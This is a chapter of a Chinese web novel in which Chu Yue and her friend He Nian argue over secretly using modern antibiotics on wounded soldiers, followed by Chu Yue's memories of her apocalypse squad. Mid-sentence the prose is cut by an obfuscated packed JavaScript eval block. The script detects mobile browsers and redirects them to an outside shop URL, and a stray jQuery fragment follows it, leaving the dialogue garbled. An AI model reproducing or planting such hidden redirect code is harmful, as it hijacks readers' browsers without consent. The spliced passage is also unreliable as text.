对于哈姆雷特来说,“生存还是毁灭”是一个高深的话题。
那对于楚玥来说,到底要不要用抗生素救这些萍水相逢的伤员,也是个难题。不救,他们会死;救,自己这次又该怎么解释?怎么才能确保自己不会因此引火上身?
当天晚上回去,楚玥就选择把这事儿跟何年说了。
何年一听,瞬间炸开了毛:“不行!”
楚玥静静看着她。
何年瞪着眼睛:“你能保证救得了这一个,但你能救得了其他所有人吗?”
楚玥没说话。
何年往前凑了一步,与她对视道:“你信不信,今个儿你拿这玩意儿救了这一个姓李的小兵,明儿个就有一打小兵排着队求你救他们一命!到时候,哼,阿玥,你就是骑虎难下,死马医成活马,你不救也得救!”
楚玥:“上回我突突北戎狗的时候,也没见有这么多麻烦?”
何年冷笑一声:“这是一回事吗?意义根本不一样好吧!”
她掰着手指头数落道:“上次那事,亲眼看见的根本没几个人,大多数人都不明白怎么回事,你那顾将军糊弄糊弄还能过得去。但今个你要是把那姓李的一救——那么多双眼睛看着,你怎么解释?你能保证他不出去乱说?”
楚玥沉默。
何年继续说道:“到时候,今儿个是他,明儿个是他大哥,后儿个是他小弟——你是救还是不救?救,你有多少药拿得出来?不救,你让别人怎么想?”
她顿了顿,压低声音:“升米恩斗米仇,阿玥,你别犯糊涂……”
何年苦口婆心分析半天,就看见眼前这人毫无诚意地点点头,两眼一闭诈起了尸——开始装听不见了。
何年咬牙切齿地憋住脏话,好一阵儿面容扭曲。
她看了楚玥半天,最后还是无可奈何地坐到她身旁,叹了口气:“我明天可以陪你去看看情况,但我本就学得不精,自己医术还是个半吊子,你也别指望我能妙手回春,给你创造什么起死回生的奇迹。”
楚玥没开睁眼,嘴角却弯了弯。
何年看她这副模样,真是又气又无奈:“阿玥,咱们何必非要给自己找麻烦呢?”
帐篷里安静了一会儿。
楚玥睁开眼,轻声道:“明天看过再说吧,至少,我还是希望能救一个是一个。”
何年张了张嘴,想反驳,话到嘴边却卡住了。
她看着楚玥那张在昏暗光线里看不真切的脸,忽然不知道该说什么。
楚玥这句话的语气明明很正常,但何年愣是从中察觉出了一份异样感。
像是在说给自己听,在不停对自己强化着这个概念。
何年沉默了一会儿,往她身边靠了靠,声音软了下来:“我不是不让你救人……阿玥我是怕你把自己搭进去。”
楚玥没动。
何年继续说:“你那些药,用一瓶少一瓶,你自己心里肯定也有数。你就没想过,如果回不去,万一哪天你自己受伤了,万一哪天我受伤了——咱们找谁要去?”
楚玥终于转过头,看了她一眼。
“我知道,我有分寸。”
何年翻个白眼:“你有分寸?你有个鬼分寸!今天那个小兵嗷一嗓子,你连犹豫都没犹豫,就恨不得冲回来给他拿药。要是明天再来个人哭爹喊娘地跪在你面前,你是不是连人家老娘也要一起照看?”
楚玥想了想,觉得这话不完全对,纠正道:“其实不然,我犹豫了。”
何年:“……”
这熊孩子压根没听进去她说的那些话。
何年深吸一口气,努力让自己冷静下来。
她刚才有多想把自己的唾沫星子打包塞进楚玥耳朵里,现在就有多想伸手把楚玥一板砖打晕。
帐篷外传来巡逻士兵的脚步声。
两个人沉默了一会儿。
何年脑海中灵光一闪,突然想出了一个缺德的主意。
她坐起来,推了推楚玥:“阿玥,阿玥,你那药在哪儿呢?你让我看一下。”
楚玥莫名其妙被她推着起了身,从怀里掏出个小瓶子,道:“在这儿呢,怎么了?”
何年眼睛一亮:“这就是八十年后的人类研制出来的吗?我也算见证历史了哈哈哈。”
楚玥无语。
何年不好意思地咳了一声,茬回正题,找到了说明贴。她看了几眼上面的备注,打开盖子,看到里面装的是种外观很奇异的胶囊——反正在她那个世界,她还从来没见过这种模样的胶囊。
何年抬头道:“阿玥,这玩意兑水了还有用吗?”
楚玥:???
何年眼睛亮亮的,压低声音说:“你把那药磨碎了,用热水冲开——当成符水,就说是你从你那什么门派带出来的灵药,一个人一辈子只能用一次。”
楚玥一愣。
“符水?”
“对啊!”何年一拍大腿,“你想啊,直接给药,人家肯定要问这是什么药、从哪儿来的。但你要是给符水——那就是作法!是道术!谁敢问?问就说——你这小崽子,难道不知道“天机不可泄露”的道理嘛!”
楚玥看着她,眼神有点复杂。
何年被她看得有些发毛:“干嘛?我这主意不好?”
楚玥忽然笑了。
“好。”她说,“特别好。”
她佩服地朝她何年竖了个大拇指:“你这招真是……绝了。我今天算是开了眼了,佩服佩服。”
何年愣了一下,随即得意洋洋了起来:“那当然,你也不看看我是谁。”
她俩对视着忍俊不禁,相视一笑。
何年拍了拍被子:“睡觉睡觉,今晚睡好了,明天才有精力干活!”
帐篷内烛火熄灭,屋内陷入了一片漆黑。
空气安静了下来。
何年闭上眼,侧过身。许久之后,楚玥的声音才忽地响起。
她道:“阿年,谢谢。”
谢谢你,明知这是麻烦,却还是帮我出着主意。明知我会一次次把自己置于险境,却还是愿意陪着我。
夜风从缝隙里钻进来,带来了丝丝凉意。
何年撇撇嘴,嘟囔道:“我又改变不了你的想法,也就只能给你出些馊主意了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358074|199722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
楚玥笑了。
现世病毒刚爆发的那几年,楚玥加入过一支小队。
那时候她还在念书,年纪还小,什么都不懂,是队里年纪最小的。即便如此,其他队员也没有嫌弃过她。射击、格斗、急救……都是队里人教的。在末世,队友便宛若亲人。
他们四处奔走,找食物、找安全的地方,找各种武器和装备。要是路上遇到了其他活人,他们只要能救,都会伸手搭救一把。其他小队嘲笑他们傻,楚玥也曾好奇地问过他们的队长,为什么要这么做?她直到现在还记得队长对她说的话——“能活到现在的人,谁没被人救过?”
楚玥自己也曾遇到过绝境。弹夹打空的时候,丧尸围上来的时候,她绝望与恐惧,也以为自己就要死了——可每逢困境,她总能意外地逢凶化吉——总会有那么一两个不怕死、不顾风险的“大傻帽”,把她从尸潮里救出来,从死人堆里拽出来。
她也在一次次磨练中逐渐适应了末世生存的环境与法则。从“被保护的人”渐渐成长为“能够保护别人的人”。
有人跟她开过玩笑,对她说:楚玥,你知道吗?你救的那些人,抢走的其实都是你活下去的机会。
楚玥的队长就是在救助目标人物时不幸遇难的——丧尸包围,目标人物为了自己能活下去,亲手把他推下了楼梯。
楚玥也有过怀疑——救一个人,是不是真的会让自己更危险?
她试过见死不救。试过转身就走。试过告诉自己“这不是我的事”。
可她发现,她做不到。
而那些救过她的人,也没有一个这样想过。
她自己也说不清楚——末世存活下来的人,好像比和平年代更加懂得权衡利弊,更有理由“见死不救”;但又似乎更加充满了人性,更明白“团结协作”。
明明活下来那么难,明明资源那么少,可偏偏有人在废墟里分你半块饼干,有人冒着风险把你从尸群里拖出来。
也是从那之后,楚玥保留下这么个习惯——倘若别人处在生死一线,只要是她看到的,不论利益、不计回报,能救则救。
黑暗中,楚玥听到了何年清晰而平稳的呼吸声。
她又想起了过去的那些往事,想到了穿越之前她那些等待救援的队友们,心里有些发闷,胸口有些发堵。只好如摊煎饼一般,受热不均地又给自己翻了个身。
楚玥在心里想起了白天那名少年的脸——那么年轻、那么稚嫩,因此才那么令人惋惜。好像还没走过人生旅途的三分之一,命运就对他关起了世界的大门。
然而何年的分析句句在理,她也不是不知道开了这个口子就停不下来的道理。
楚玥病入膏肓,无可救药地自嘲道:“我这辈子也就这性子,改也来不及了。要是有机会,下辈子投胎,记得得一定多加打点孟婆,让她给我一定要往那种脑瓜子灵,又有八百个花花肠子的人家里投。但这个人,无论明天发生了什么,我都是要救的。”
楚玥这么想着,反倒安下了心。她轻轻呼出一口气,心满意足地闭上了眼,就这么踏实地一觉睡到天明。